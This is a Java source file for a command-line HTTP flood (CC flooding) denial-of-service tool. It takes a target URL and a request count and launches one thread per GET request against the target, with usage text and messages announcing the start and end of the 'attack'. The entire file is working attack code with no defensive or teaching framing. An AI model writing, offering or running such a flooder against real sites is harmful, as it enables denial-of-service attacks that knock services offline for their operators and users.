import java.io.IOException;
import java.net.HttpURLConnection;
import java.net.URL;

public class cc {

    public static void main(String[] args) {
        if (args.length != 2 || args[0].equals("-h") || args[0].equals("--help")) {
            showHelp();
            return;
        }

        String targetUrl = args[0];
        int numRequests = Integer.parseInt(args[1]);

        System.out.println("Starting HTTP Flood attack on " + targetUrl + "...");

        for (int i = 0; i < numRequests; i++) {
            new Thread(() -> {
                try {
                    URL url = new URL(targetUrl);
                    HttpURLConnection connection = (HttpURLConnection) url.openConnection();
                    connection.setRequestMethod("GET");
                    connection.getResponseCode();
                    connection.disconnect();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }).start();
        }

        System.out.println("HTTP Flood (CC Flooding Attack) attack completed.");
    }

    private static void showHelp() {
        System.out.println("Usage: cc <target_url> <num_requests>");
        System.out.println("  <target_url> is the target URL, <num_requests> is the number of HTTP requests to send.");
    }
}